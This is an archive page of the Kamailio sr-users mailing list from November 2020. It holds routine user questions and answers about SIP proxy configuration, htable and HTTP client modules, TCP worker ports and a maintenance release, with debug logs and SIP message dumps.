- sr-users - kamailio.org

How to modify INVITE Request Line string
by Jose Figueroa 09 Nov '20

09 Nov '20

Hello everybody, Today I received a request from a carrier which needs us to send the calls using a prefix in the INVITE header. I am reading the documentation for kamailio 4.3.x but I havent found anything I can use in order to modify the Request Line (INVITE) string. I need to change from this: INVITE sip:123456789@IP:5060 to this: INVITE sip:PREFIX123456789@IP:5060 If you can guide me to the right direction would be more than great. Thanks -- Jose Figueroa Senior Software Engineer

2 2

(no subject)
by ahmed moghazy 09 Nov '20

09 Nov '20

Hello, When i make a call from specific user to another it didnt make call and it gave missed call to another one after a minute so the call doesnot complete i dont know why , Thank you.

2 1

Kamailio ims stable version
by Pavithra Mohanraja 08 Nov '20

08 Nov '20

Hi, How to do git clone of kamailio source code with minor version. I could only do git checkout of 5.3 version and it is automatically taking latest stable version. I don't need in this way. I need to do git clone of exact version of kamailio source code . Example - if I need 5.3.6 version.. exact version source code has to be git checked out from kamailio website. How to do that .. kindly let me know.. Thanks, Pavithra

2 3

Re: [SR-Users] Proxy configuration that exit dialog afer INVITE -> OK
by Yufei Tao 07 Nov '20

07 Nov '20

Hi, Here's an example kamailio.cfg that uses record_route so in-dialog requests will go through the Kamailio proxy: https://github.com/kamailio/kamailio/blob/master/etc/kamailio.cfg There are many other example cfg files: https://github.com/kamailio/kamailio/tree/master/misc/examples Any server that wants to see the in-dialog messages needs to add itself to the record route list when receiving the initial INVITE for example. If a server is not in the list of record routes, then in-dialog requests will not be sent to the server. Headers that are most important in terms of routing are R-URI, Route, Record-Route, Contact, Via. Via header is for routing responses, while Record-Route is for in-dialog requests. I've put a few tips and some resources here about starting with Kamailio, which hopefully may help you a bit: http://tao-communications-ltd.simplesite.com/447576389 Cheers, Yufei >* Message: 7 *>* Date: Thu, 5 Nov 2020 12:26:16 +0200 *>* From: "Adrian Tabacioiu" <Adi.Tabacioiu at c-s.ro <https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>> *>* To: sr-users at lists.kamailio.org <https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users> *>* Subject: [SR-Users] Proxy configuration that exit dialog afer INVITE *>* -> OK *>* Message-ID: <7449102a9f3dbe38b6dba753d1cffcd8.squirrel at mail.c-s.ro <https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>> *>* Content-Type: text/plain;charset=iso-8859-1 *>>>* Hello all, *>>* Am I new in the usage of kamailio, sorry if I ask somehow something simple *>* or terribly wrong . *>>* I need to test a configuration of Kamailio which exit the dialog between *>* UA after the first OK (that means it will not receive the following ACK, *>* BYE). *>>* I understand that in theory this is possible in two configuration types: *>* - no Record Route header *>* - or stateless proxy *>>* First question: *>* Am I correct with the choices above? *>* Can I find example configuration for this two modes ? *>>* Question 2: *>* two or more proxy should be inter-connected, removing the Record Route *>* header would interfere with proxy routing ? (should not the "Via" *>* information be sufficient?) *>>* Thank you in advance for help. *>>* Best regards, *>* Adrian Tabacioiu *>

2 1

Kamailio dump configuration and exit?
by Brandon Armstead 07 Nov '20

07 Nov '20

Is there a similar hook to make kamailio dump its current configuration it is reading including ... included files, i.e. similar to nginx -T root@main:/home/brandon# nginx -h nginx version: nginx/1.14.2 Usage: nginx [-?hvVtTq] [-s signal] [-c filename] [-p prefix] [-g directives] Options: -?,-h : this help -v : show version and exit -V : show version and configure options then exit -t : test configuration and exit -T : test configuration, dump it and exit -q : suppress non-error messages during configuration testing -s signal : send signal to a master process: stop, quit, reopen, reload -p prefix : set prefix path (default: /usr/share/nginx/) -c filename : set configuration file (default: /etc/nginx/nginx.conf) -g directives : set global directives out of configuration file Thanks for your time in advance!

1 0

send_reply() related feature request
by Juha Heinanen 06 Nov '20

06 Nov '20

Many times (especially when there is a hacking attempt) I want to close TCP or TLS session after sending reply. So, for example, I write: set_reply_close(); send_reply("403", "Forbidden"); It would be more convenient if these two calls could be combined into one, for example: send_reply_and_close("403", "Forbidden"); -- Juha

2 7

Re: [SR-Users] sr-users Digest, Vol 186, Issue 5
by Yufei Tao 05 Nov '20

05 Nov '20

Hi, Here's an example kamailio.cfg that uses record_route so in-dialog requests will go through the Kamailio proxy: https://github.com/kamailio/kamailio/blob/master/etc/kamailio.cfg There are many other example cfg files: https://github.com/kamailio/kamailio/tree/master/misc/examples Any server that wants to see the in-dialog messages needs to add itself to the record route list when receiving the initial INVITE for example. If a server is not in the list of record routes, then in-dialog requests will not be sent to the server. Headers that are most important in terms of routing are R-URI, Route, Record-Route, Contact, Via. Via header is for routing responses, while Record-Route is for in-dialog requests. Cheers, Yufei > Message: 7 > Date: Thu, 5 Nov 2020 12:26:16 +0200 > From: "Adrian Tabacioiu" <Adi.Tabacioiu(a)c-s.ro> > To: sr-users(a)lists.kamailio.org > Subject: [SR-Users] Proxy configuration that exit dialog afer INVITE > -> OK > Message-ID: <7449102a9f3dbe38b6dba753d1cffcd8.squirrel(a)mail.c-s.ro> > Content-Type: text/plain;charset=iso-8859-1 > > > Hello all, > > Am I new in the usage of kamailio, sorry if I ask somehow something simple > or terribly wrong . > > I need to test a configuration of Kamailio which exit the dialog between > UA after the first OK (that means it will not receive the following ACK, > BYE). > > I understand that in theory this is possible in two configuration types: > - no Record Route header > - or stateless proxy > > First question: > Am I correct with the choices above? > Can I find example configuration for this two modes ? > > Question 2: > two or more proxy should be inter-connected, removing the Record Route > header would interfere with proxy routing ? (should not the "Via" > information be sufficient?) > > Thank you in advance for help. > > Best regards, > Adrian Tabacioiu > >

1 0

How to Add Customer Table During Installation
by me.projects＠yahoo.com 05 Nov '20

05 Nov '20

Hi, I want add some custom Table Creation during installation of Kamailio. I want to add my Custom Table during the execution of kamdbctl create command. Currently I am adding my script in share/kamailio/mysql/auth_db-create.sql Thanks,

2 3

tsilo - failure to add branches (-1)
by Jurijs Ivolga 05 Nov '20

05 Nov '20

Hi, I have several Kamailio proxies - loadbalancer which is used as TLS offload and Authorization server and behind registrar servers. In this case I can't make tsilo work on the registrar server. I'm always getting: "tm [t_append_branches.c:172]: t_append_branches(): failure to add branches (-1)" If I use just one Kamailio which is used as Authorization and Registrar server then tsilo works as expected. Looks like kamailio where I run ts_append tries to connect to UAC directly and not through Loadbalancer. Any ideas? How can I troubleshoot this? Thank you! Jurijs

3 9

Proxy configuration that exit dialog afer INVITE -> OK
by Adrian Tabacioiu 05 Nov '20

05 Nov '20

Hello all, Am I new in the usage of kamailio, sorry if I ask somehow something simple or terribly wrong . I need to test a configuration of Kamailio which exit the dialog between UA after the first OK (that means it will not receive the following ACK, BYE). I understand that in theory this is possible in two configuration types: - no Record Route header - or stateless proxy First question: Am I correct with the choices above? Can I find example configuration for this two modes ? Question 2: two or more proxy should be inter-connected, removing the Record Route header would interfere with proxy routing ? (should not the "Via" information be sufficient?) Thank you in advance for help. Best regards, Adrian Tabacioiu

1 0

Kamailio in VMware with Fault Tolerance on
by Patrick Wakano 03 Nov '20

03 Nov '20

Hello list, Hope you are all good! Recently, the issue https://github.com/kamailio/kamailio/issues/2535 has been investigated and the utilization of the feature vsphere Fault Tolerance is linked as a source of network latency and probably CPU allocation latency. This increases the chances of the mentioned issue to happen. So I would just like to ask if anyone out there is using Kamilio in a VMware environment with Fault Tolerance on? How is the experience? Kind regards, Patrick Wakano

3 6

Re: [SR-Users] htable + event_routes + mod-init + htable:expired
by Brandon Armstead 03 Nov '20

03 Nov '20

Nov 2 21:13:28 main kamailio[1331]: INFO: <script>: AUTH_TOKEN_EXPIRED, lets retrieve a new one Nov 2 21:13:28 main kamailio[1331]: INFO: <script>: AUTH_TOKEN_RECEIVED, {"data":{"token":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJDUllZIiwiaWF0IjoxNjA0MzUxNjA4LCJleHAiOjE2MDQzNTUyMDgsIm1ldGhvZCI6InBvc3Q6YXV0aDp0b2tlbiIsImFjY291bnQiOnsiaWQiOiIxIiwiZmlyc3RuYW1lIjoiVGVzdCIsImxhc3RuYW1lIjoiQXJtc3RlYWQiLCJlbWFpbCI6ImJyYW5kb25AY3J5eS5jb20ifSwic291cmNlIjp7ImFkZHJlc3MiOiIzNC45NC4xMjMuMTIxIn19.sUQImDqDfE-xdA1SQ-7I5TnFMZaPh8WB2c-S-ut1hog","header":{"alg":"HS256","typ":"JWT"},"payload":{"iss":"CRYY","iat":1604351608,"exp":1604355208,"method":"post:auth:token","account":{"id":"1","firstname":"Test","lastname":"Armstead","email":" brandon(a)cryy.com "},"source":{"address":"34.94.123.121"}},"signature":"sUQImDqDfE-xdA1SQ-7I5TnFMZaPh8WB2c-S-ut1hog"}}} Nov 2 21:13:28 main kamailio[1331]: INFO: <script>: AUTH_TOKEN_TIME, 1604351608 root@main:/etc/kamailio# kamcmd htable.dump server { entry: 11 size: 1 slot: { { name: auth::token value: {"data":{"token":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJDUllZIiwiaWF0IjoxNjA0MzUxNjA4LCJleHAiOjE2MDQzNTUyMDgsIm1ldGhvZCI6InBvc3Q6YXV0aDp0b2tlbiIsImFjY291bnQiOnsiaWQiOiIxIiwiZmlyc3RuYW1lIjoiVGVzdCIsImxhc3RuYW1lIjoiQXJtc3RlYWQiLCJlbWFpbCI6ImJyYW5kb25AY3J5eS5jb20ifSwic291cmNlIjp7ImFkZHJlc3MiOiIzNC45NC4xMjMuMTIxIn19.sUQImDqDfE-xdA1SQ-7I5TnFMZaPh8WB2c-S-ut1hog","header":{"alg":"HS256","typ":"JWT"},"payload":{"iss":"CRYY","iat":1604351608,"exp":1604355208,"method":"post:auth:token","account":{"id":"1","firstname":"Test","lastname":"Armstead","email":" brandon(a)cryy.com "},"source":{"address":"34.94.123.121"}},"signature":"sUQImDqDfE-xdA1SQ-7I5TnFMZaPh8WB2c-S-ut1hog"}}} type: str } } } Nov 2 21:13:48 main kamailio[1334]: INFO: <script>: AUTH_TOKEN_EXPIRED, lets retrieve a new one Nov 2 21:13:48 main kamailio[1334]: INFO: <script>: AUTH_TOKEN_RECEIVED, {"data":{"token":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJDUllZIiwiaWF0IjoxNjA0MzUxNjI4LCJleHAiOjE2MDQzNTUyMjgsIm1ldGhvZCI6InBvc3Q6YXV0aDp0b2tlbiIsImFjY291bnQiOnsiaWQiOiIxIiwiZmlyc3RuYW1lIjoiVGVzdCIsImxhc3RuYW1lIjoiQXJtc3RlYWQiLCJlbWFpbCI6ImJyYW5kb25AY3J5eS5jb20ifSwic291cmNlIjp7ImFkZHJlc3MiOiIzNC45NC4xMjMuMTIxIn19.stW5JzPR-Gz3oVvQEb1wxF7I0GcZ1KjkkQhinHGEivQ","header":{"alg":"HS256","typ":"JWT"},"payload":{"iss":"CRYY","iat":1604351628,"exp":1604355228,"method":"post:auth:token","account":{"id":"1","firstname":"Test","lastname":"Armstead","email":" brandon(a)cryy.com "},"source":{"address":"34.94.123.121"}},"signature":"stW5JzPR-Gz3oVvQEb1wxF7I0GcZ1KjkkQhinHGEivQ"}}} Nov 2 21:13:48 main kamailio[1334]: INFO: <script>: AUTH_TOKEN_TIME, 1604351628 root@main:/etc/kamailio# kamcmd htable.dump server { entry: 0 size: 1 slot: { { name: auth::time value: 1604351628 type: int } } } Nov 2 21:14:08 main kamailio[1331]: INFO: <script>: AUTH_TOKEN_EXPIRED, lets retrieve a new one Nov 2 21:14:08 main kamailio[1331]: INFO: <script>: AUTH_TOKEN_RECEIVED, {"data":{"token":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJDUllZIiwiaWF0IjoxNjA0MzUxNjQ4LCJleHAiOjE2MDQzNTUyNDgsIm1ldGhvZCI6InBvc3Q6YXV0aDp0b2tlbiIsImFjY291bnQiOnsiaWQiOiIxIiwiZmlyc3RuYW1lIjoiVGVzdCIsImxhc3RuYW1lIjoiQXJtc3RlYWQiLCJlbWFpbCI6ImJyYW5kb25AY3J5eS5jb20ifSwic291cmNlIjp7ImFkZHJlc3MiOiIzNC45NC4xMjMuMTIxIn19.P52y8GIkL2FEeT51WbYicjIdjdWp-1FXpIRPLHFmlw4","header":{"alg":"HS256","typ":"JWT"},"payload":{"iss":"CRYY","iat":1604351648,"exp":1604355248,"method":"post:auth:token","account":{"id":"1","firstname":"Test","lastname":"Armstead","email":" brandon(a)cryy.com "},"source":{"address":"34.94.123.121"}},"signature":"P52y8GIkL2FEeT51WbYicjIdjdWp-1FXpIRPLHFmlw4"}}} Nov 2 21:14:08 main kamailio[1331]: INFO: <script>: AUTH_TOKEN_TIME, 1604351648 root@main:/etc/kamailio# kamcmd htable.dump server { entry: 11 size: 1 slot: { { name: auth::token value: {"data":{"token":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJDUllZIiwiaWF0IjoxNjA0MzUxNjQ4LCJleHAiOjE2MDQzNTUyNDgsIm1ldGhvZCI6InBvc3Q6YXV0aDp0b2tlbiIsImFjY291bnQiOnsiaWQiOiIxIiwiZmlyc3RuYW1lIjoiVGVzdCIsImxhc3RuYW1lIjoiQXJtc3RlYWQiLCJlbWFpbCI6ImJyYW5kb25AY3J5eS5jb20ifSwic291cmNlIjp7ImFkZHJlc3MiOiIzNC45NC4xMjMuMTIxIn19.P52y8GIkL2FEeT51WbYicjIdjdWp-1FXpIRPLHFmlw4","header":{"alg":"HS256","typ":"JWT"},"payload":{"iss":"CRYY","iat":1604351648,"exp":1604355248,"method":"post:auth:token","account":{"id":"1","firstname":"Test","lastname":"Armstead","email":" brandon(a)cryy.com "},"source":{"address":"34.94.123.121"}},"signature":"P52y8GIkL2FEeT51WbYicjIdjdWp-1FXpIRPLHFmlw4"}}} type: str } } } On Mon, Nov 2, 2020 at 12:44 PM Brandon Armstead <brandon(a)cryy.com> wrote: > Also to add one more thing, I added a third static variable into the mix > to test when using the "bad config" just setting server=>auth::name to > "brandon" and introducing the 3rd variable seems to just make kamailio hang > when doing kamcmd htable.dump server <---- (no results returned). > > On Mon, Nov 2, 2020 at 12:41 PM Brandon Armstead <brandon(a)cryy.com> wrote: > >> Daniel, >> >> In short kamcmd does not reflect the value set in $sht(server=>auth >> ::token) >> >> It alternates between being set and not being set (reflecting in kamcmd >> htable.dump >> >> root@main:/etc/kamailio# kamcmd htable.dump server >> >> { >> >> entry: 11 >> >> size: 1 >> >> slot: { >> >> { >> >> name: auth::token >> >> value: >> {"data":{"token":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJDUllZIiwiaWF0IjoxNjA0MzQ2NzgzLCJleHAiOjE2MDQzNTAzODMsIm1ldGhvZCI6InBvc3Q6YXV0aDp0b2tlbiIsImFjY291bnQiOnsiaWQiOiIxIiwiZmlyc3RuYW1lIjoiVGVzdCIsImxhc3RuYW1lIjoiQXJtc3RlYWQiLCJlbWFpbCI6ImJyYW5kb25AY3J5eS5jb20ifSwic291cmNlIjp7ImFkZHJlc3MiOiIzNC45NC4xMjMuMTIxIn19.aFGWqQg31oNnw10XfZ61Xm5Jncvt7RoNri2ZuDJ6yLQ","header":{"alg":"HS256","typ":"JWT"},"payload":{"iss":"CRYY","iat":1604346783,"exp":1604350383,"method":"post:auth:token","account":{"id":"1","firstname":"Test","lastname":"Armstead","email":" >> brandon(a)cryy.com >> "},"source":{"address":"34.94.123.121"}},"signature":"aFGWqQg31oNnw10XfZ61Xm5Jncvt7RoNri2ZuDJ6yLQ"}}} >> >> type: str >> >> } >> >> } >> >> } >> >> >> In the kamailio logs it always shows AUTH_TOKEN_RECEIVED (correctly, with >> the correct auth token), kamcmd dump of htable alternates between execution >> of this route: htable:expired:server >> >> Exec 1: >> >> auth::time => [timestamp] >> >> Exec 2: >> >> auth::token => token >> >> Exec 3: >> >> auth::time => [timestamp] >> >> So on and so forth, [ kamcmd htable.dump server ] it does not correctly >> hold both $sht(server=>auth::time) and $sht(server=>auth::token) like it >> should, despite kamailio logs showing the HTTP_AUTH_TOKEN received message >> with the correct auth token (100% of the time). >> >> It's almost like there is a race condition when using the modules >> http_client_query in both init and expired event route. >> >> When I changed it to the resolved code block above separating the calls >> and introducing http_async_client inside htable:expired:server >> >> The result is 100% of the time auth token exists correctly, just like the >> logs 100% of the time show the auth token received regardless of >> event_route implementation. >> >> So somewhere somehow the problematic config causes the hash table to not >> store HTTP_AUTH_TOKEN it receives and logs. >> >

2 1

http_async_client
by Brandon Armstead 03 Nov '20

03 Nov '20

kamailio 5.5.0-dev3 I'm unsure if this is expected behavior, so thought I would ask... When using http_async_query("URI", "ROUTENAME") request_route { route(AUTH); # this does not get executed below route(AUTH) xinfo("[$ci][$rm] we hit this line"); } route[AUTH] { t_newtran(); http_async_query("URI", "ROUTENAME"); } route[ROUTENAME] { # do stuff here to check authentication and return if(auth + registration) { append_hf("Path...."); msg_apply_changes(); # this fails and errors out about incorrect route # ^ invalid usage - not in request route or a reply save("location"); } if(auth + invite) { # route to pstn } } Expected behavior: to be able to obtain some processing / information gathering about authentication with the call and additional information possibly and return to normal routing. As-is now I've to move the actions all into ROUTENAME for kamailio to continue processing, it does not go back to request_route { }. # this does not get executed below route(AUTH) Is this expected behavior, or am I missing something? If I do catch route(AUTH) with a hash table and prevent its execution after first run, the avp's from the transaction created are not available in request_route that were set in ROUTENAME.

2 4

htable + event_routes + mod-init + htable:expired
by Brandon Armstead 02 Nov '20

02 Nov '20

Running 5.5.0-dev3 modparam("htable", "htable", "ipban=>size=8;autoexpire=300;dmqreplicate=1;") modparam("htable", "enable_dmq", 1) modparam("htable", "dmq_init_sync", 1) modparam("htable", "timer_procs", 4) modparam("htable", "timer_interval", 5) modparam("htable", "db_expires", 1) modparam("htable", "htable", "account=>size=4;dmqreplicate=1;") modparam("htable", "htable", "server=>size=4;autoexpire=15;") I'm attempting to retrieve an auth token in the init process and also refresh the token upon expiration in the htable:expired event. I'm seeing some behavior where every other execution of htable:expired the variable $sht(server=>auth::token) is set per kamcmd htable.dump server, however xinfo() reports that the token was retrieved in the variable $sht (server=>auth::token). Please see remaining event route config below: event_route[htable:mod-init] { # generate auth token into http_client_query("https://www.cryy.com/api/auth/token", '{"email": " brandon(a)cryy.com", "password":"XXXX"}', "$var(result)"); sht_lock("server=>auth::token"); $sht(server=>auth::token) = $var(result); sht_unlock("server=>auth::token"); xinfo("AUTH_TOKEN_RECEIVED, $sht(server=>auth::token)"); } event_route[htable:expired:server] { # process expired htable, renew auth token xinfo("AUTH_TOKEN_EXPIRED, lets retrieve a new one"); http_client_query("https://www.cryy.com/api/auth/token", '{"email": " brandon(a)cryy.com", "password":"XXXX"}', "$var(result)"); sht_lock("server=>auth::token"); $sht(server=>auth::time) = $TS; $sht(server=>auth::token) = $var(result); sht_unlock("server=>auth::token"); xinfo("AUTH_TOKEN_RECEIVED, $sht(server=>auth::token)"); xinfo("AUTH_TOKEN_TIME, $sht(server=>auth::time)"); } I've tried both with locking and unlocking. Also one last thing worth mentioning is that on the alternation where kamcmd htable.dump server shows no auth token, $sht(server=>auth::time) is available, when the auth token is visible in kamcmd htable.dump server there is no sht(server=>auth::time) returned. Also just to be explicitly clear -- xinfo() always returns AUTH_TOKEN_RECEIVED correctly in both event routes. Perhaps I'm over looking something -- thank you for the help in advance. - Brandon

2 3

outgoing TCP connection ID
by Sergiu Pojoga 02 Nov '20

02 Nov '20

Hi there, Is there a PV that exposes the outgoing TCP connection ID? $conid seems to be for received only. *$conid - The TCP connection ID of the connection the current message arrived on for TCP, TLS, WS, and WSS. Set to $null for SCTP and UDP.* The objective is to check the status of the egress TCP connection like for e.g.: if(!tcp_conid_state(conid)) { Thanks. --Sergiu

2 4

Kamailio v5.3.7 Released
by Daniel-Constantin Mierla 02 Nov '20

02 Nov '20

Hello, Kamailio SIP Server v5.3.7 stable release is out. This is a maintenance release of the latest stable branch, 5.3, that includes fixes since the release of v5.3.6. There is no change to database schema or configuration language structure that you have to do on previous installations of v5.3.x. Deployments running previous v5.3.x versions are strongly recommended to be upgraded to v5.3.7. Note that 5.3 is the second last stable branch, still officially maintained by Kamailio development team. The latest stable branch is 5.4, with v5.4.2 being release out of it. For more details about version 5.3.7 (including links and guidelines to download the tarball or from GIT repository), visit: * https://www.kamailio.org/w/2020/11/kamailio-v5-3-7-released/ RPM, Debian/Ubuntu packages will be available soon as well. Many thanks to all contributing and using Kamailio! Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda

1 0

Releasing Kamailio v5.3.7
by Daniel-Constantin Mierla 02 Nov '20

02 Nov '20

Hello, I am planning to release Kamailio v5.3.7 sometime next week, likely on Monday or Tuesday, this being the usual prior notice for heads up to identify issues not reported yet on bug tracker as well as the commits you are aware of that were not backported yet. Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda

1 1

Missing refresher parameter in the Session-Expires header and Min-SE header
by Jose Figueroa 01 Nov '20

01 Nov '20

Hello everybody, I am trying an INVITE with a SBCs but fails, finding out it seems the Session-Expires doesn't include the param refresher= and according to this closed issue is already included https://github.com/kamailio/kamailio/issues/288 but I cannot achive this, I read the sst module documentation but I don't see anything related this parameter. So, in summary the SBC expects the following: Session-Expires: 1800; refresher=uac; Min-SE: 600 I set only: modparam("sst", "enable_stats", 1); modparam("dialog", "dlg_flag", 5) modparam("sst", "sst_flag", 6); modparam("sst", "min_se". 1800); Now on the invite I the setflag(); 5 and 6 so I see now the header Session-Expires: 1800 but not the refresher=uac; and also I don't see how to set the Min-SE:600 Could you please point me to the right direction? Any hint would be very helpful. -- Jose Figueroa Software Engineer

1 0

Confusion about TCP worker ports
by Noah Mehl 30 Oct '20

30 Oct '20

Hey all, I’m a little stuck on an implementation of a set of dispatchers via TCP. There are some oddities about the behavior of the TCP source port of the Kamailio tcp worker/s, and maybe this is expected, but it doesn’t seem valid. For instance, I have a dispatcher: "RECORDS": [{ "SET": { "ID": 1, "TARGETS": [{ "DEST": { "URI": “sip:2.2.2.2:5060;transport=tcp", "FLAGS": "AP", "PRIORITY": 5 } }] } }] But when Kamailio sends an OPTIONS keep alive, the source port for the worker is 33940, and not 5060 (which is the TCP listen port), as received by Freeswitch: recv 447 bytes from tcp/[1.1.1.1]:33940 at 18:58:24.958720: ------------------------------------------------------------------------ OPTIONS sip:2.2.2.2:5060;transport=tcp SIP/2.0 Via: SIP/2.0/TCP 1.1.1.1;branch=z9hG4bK1525.80a9e442000000000000000000000000.0 To: <sip:2.2.2.2:5060;transport=tcp> From: <sip:inbound-kamailio-01>;tag=3c52ba62ee4c4621b9660728159919d3-cda8066f CSeq: 10 OPTIONS Call-ID: 3aa18693487268dc-2790(a)1.1.1.1 Max-Forwards: 70 Content-Length: 0 User-Agent: kamailio (5.4.2 (x86_64/linux)) ------------------------------------------------------------------------ Also, I get weird debug messages when this tcp worker is spun up (specifically about Resource temporarily unavailable): 11(2790) DEBUG: dispatcher [dispatch.c:3340]: ds_ping_result_helper(): probe all, mode DS_PROBE_ALL 11(2790) DEBUG: dispatcher [dispatch.c:3383]: ds_ping_set(): probing set #1, URI sip:2.2.2.2:5060;transport=tcp 11(2790) DEBUG: dispatcher [dispatch.c:3414]: ds_ping_set(): Default ping_from: sip:inbound-kamailio-01 11(2790) DEBUG: dispatcher [dispatch.c:3424]: ds_ping_set(): Default outbound proxy: 11(2790) DEBUG: tm [uac.c:450]: t_uac_prepare(): next_hop=<sip:2.2.2.2:5060;transport=tcp> 11(2790) DEBUG: tm [uac.c:158]: dlg2hash(): hashid 21073 11(2790) DEBUG: <core> [core/tcp_main.c:1993]: tcp_send(): no open tcp connection found, opening new one 11(2790) DEBUG: <core> [core/ip_addr.c:229]: print_ip(): tcpconn_new: new tcp connection: 2.2.2.2 11(2790) DEBUG: <core> [core/tcp_main.c:1175]: tcpconn_new(): on port 5060, type 2, socket -1 11(2790) DEBUG: <core> [core/tcp_main.c:1494]: tcpconn_add(): hashes: 2712:0:0, 1 11(2790) DEBUG: <core> [core/tcp_main.c:2886]: tcpconn_1st_send(): pending write on new connection 0x7f24e64c1e18 sock 8 (-1/447 bytes written) (err: 11 - Resource temporarily unavailable) 11(2790) DEBUG: tm [uac.c:678]: send_prepared_request_impl(): uac: 0x7f24e65285a8 branch: 0 to 2.2.2.2:5060 11(2790) DEBUG: <core> [core/onsend.c:50]: run_onsend(): required parameters are not available - ignoring 27(2806) DEBUG: <core> [core/tcp_main.c:3792]: handle_ser_child(): read response= 7f24e64c1e18, 5, fd 46 from 11 (2790) 27(2806) DEBUG: <core> [core/io_wait.h:375]: io_watch_add(): DBG: io_watch_add(0x56490f0f8060, 46, 2, 0x7f24e64c1e18), fd_no=37 27(2806) DEBUG: <core> [core/io_wait.h:782]: io_watch_chg(): DBG: io_watch_chg (0x56490f0f8060, 46, 0x1, 0xffffffff) fd_no=38 called 27(2806) DEBUG: <core> [core/io_wait.h:600]: io_watch_del(): DBG: io_watch_del (0x56490f0f8060, 46, -1, 0x0) fd_no=38 called 27(2806) DEBUG: <core> [core/tcp_main.c:4457]: handle_tcpconn_ev(): sending to child, events 1 27(2806) DEBUG: <core> [core/tcp_main.c:4127]: send2child(): selected tcp worker idx:0 proc:19 pid:2798 for activity on [tcp:1.1.1.1:5060], 0x7f24e64c1e18 19(2798) DEBUG: <core> [core/tcp_read.c:1749]: handle_io(): received n=8 con=0x7f24e64c1e18, fd=8 19(2798) DEBUG: <core> [core/tcp_read.c:1548]: tcp_read_req(): content-length=0 19(2798) DEBUG: <core> [core/parser/msg_parser.c:620]: parse_msg(): SIP Reply (status): 19(2798) DEBUG: <core> [core/parser/msg_parser.c:622]: parse_msg(): version: <SIP/2.0> 19(2798) DEBUG: <core> [core/parser/msg_parser.c:624]: parse_msg(): status: <200> 19(2798) DEBUG: <core> [core/parser/msg_parser.c:626]: parse_msg(): reason: <OK> 19(2798) DEBUG: <core> [core/parser/parse_via.c:1303]: parse_via_param(): Found param type 232, <branch> = <z9hG4bK1525.80a9e442000000000000000000000000.0>; state=6 19(2798) DEBUG: <core> [core/parser/parse_via.c:1303]: parse_via_param(): Found param type 235, <rport> = <33940>; state=16 19(2798) DEBUG: <core> [core/parser/parse_via.c:2639]: parse_via(): end of header reached, state=5 19(2798) DEBUG: <core> [core/parser/msg_parser.c:498]: parse_headers(): Via found, flags=2 19(2798) DEBUG: <core> [core/parser/msg_parser.c:500]: parse_headers(): this is the first via 19(2798) DEBUG: <core> [core/parser/parse_addr_spec.c:185]: parse_to_param(): add param: tag=1mB9HryQ8ZBFc 19(2798) DEBUG: <core> [core/parser/parse_addr_spec.c:864]: parse_addr_spec(): end of header reached, state=29 19(2798) DEBUG: <core> [core/parser/msg_parser.c:171]: get_hdr_field(): <To> [59]; uri=[sip:2.2.2.2:5060;transport=tcp] 19(2798) DEBUG: <core> [core/parser/msg_parser.c:174]: get_hdr_field(): to body (39)[<sip:2.2.2.2:5060;transport=tcp>], to tag (13)[1mB9HryQ8ZBFc] 19(2798) DEBUG: <core> [core/parser/msg_parser.c:152]: get_hdr_field(): cseq <CSeq>: <10> <OPTIONS> 19(2798) DEBUG: <core> [core/receive.c:319]: receive_msg(): --- received sip message - reply - call-id: [3aa18693487268dc-2790(a)1.1.1.1] - cseq: [10 OPTIONS] 19(2798) DEBUG: <core> [core/parser/msg_parser.c:185]: get_hdr_field(): content_length=0 19(2798) DEBUG: <core> [core/parser/msg_parser.c:89]: get_hdr_field(): found end of header Are these SIP messages expected to come from other ports than the listen port (5060 in this case)? Also, if the worker source port is not 5060, shouldn’t the SIP message get updated with the correct port? In the case of OPTIONS, Freeswitch is replying correctly to the source port: 33940. However, in the case of an in dialog BYE, Freeswitch is NOT replying to the source port of the Kamailio messages, but only to port 5060. Here is an example (relayed from web sockets to freeswitch over TCP) INVITE (as received from Freeswitch): recv 1481 bytes from tcp/[1.1.1.1]:33940 at 16:56:47.920698: ------------------------------------------------------------------------ INVITE sip:991012@sip.domain <sip:991012@sip.domain>.com SIP/2.0 Record-Route: <sip:1.1.1.1;transport=tcp;r2=on;lr;nat=yes> Record-Route: <sip:1.1.1.1:5061;transport=tls;r2=on;lr;nat=yes> Via: SIP/2.0/TCP 1.1.1.1;branch=z9hG4bKd408.3f53e940ccb20c1033df4b3a8ebd8a34.0;i=1 Via: SIP/2.0/TLS 172.22.199.110:55304;received=5.5.5.5;rport=39518;branch=z9hG4bKPj5Css6JomCt9Cli2cCINbXi4FbPM5wewG;alias Max-Forwards: 69 From: "Noah Mehl" <sip:5135555555@inbound-jail>;tag=s3i3y2tiOCgnUId5TD4Vp0UChf9GyEy9 To: <sip:991012@inbound-jail> Contact: <sip:74895612@172.22.199.110:54887;transport=tls;alias=5.5.5.5~39518~3> Call-ID: 5aoRBMBHahxqSLzrIpFnlfRz.UcGsmfq CSeq: 27271 INVITE Allow: SUBSCRIBE, NOTIFY, INVITE, ACK, BYE, CANCEL, UPDATE, MESSAGE, REFER Supported: replaces, norefersub, gruu User-Agent: Blink Pro 4.6.0 (MacOSX) Content-Type: application/sdp Content-Length: 528 v=0 o=- 3812979407 3812979407 IN IP4 5.5.5.5 s=Blink Pro 4.6.0 (MacOSX) t=0 0 m=audio 50016 RTP/SAVP 113 0 101 c=IN IP4 5.5.5.5 a=rtcp:50017 a=rtpmap:113 opus/48000/2 a=fmtp:113 useinbandfec=1 a=rtpmap:0 PCMU/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-16 a=crypto:1 AES_CM_128_HMAC_SHA1_80 inline:UhHq6hth9HqALmiJ3AEeoGkixObBzkLURG60wJKT a=crypto:2 AES_CM_128_HMAC_SHA1_32 